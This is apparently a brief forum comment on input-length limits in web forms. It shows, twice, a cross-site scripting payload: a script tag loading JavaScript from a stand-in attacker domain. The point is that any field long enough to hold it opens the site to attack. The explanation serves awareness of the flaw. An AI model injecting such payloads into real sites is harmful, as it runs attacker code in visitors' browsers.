>Although there was a length-restriction on the user's name
As long as any field allows enough chars to:
<script src="http://evilbadpersondomain.com/forTheLulz.js"></script>
....anything is possible from there.
As long as any field allows enough chars to:
<script src="http://evilbadpersondomain.com/forTheLulz.js"></script>
....anything is possible from there.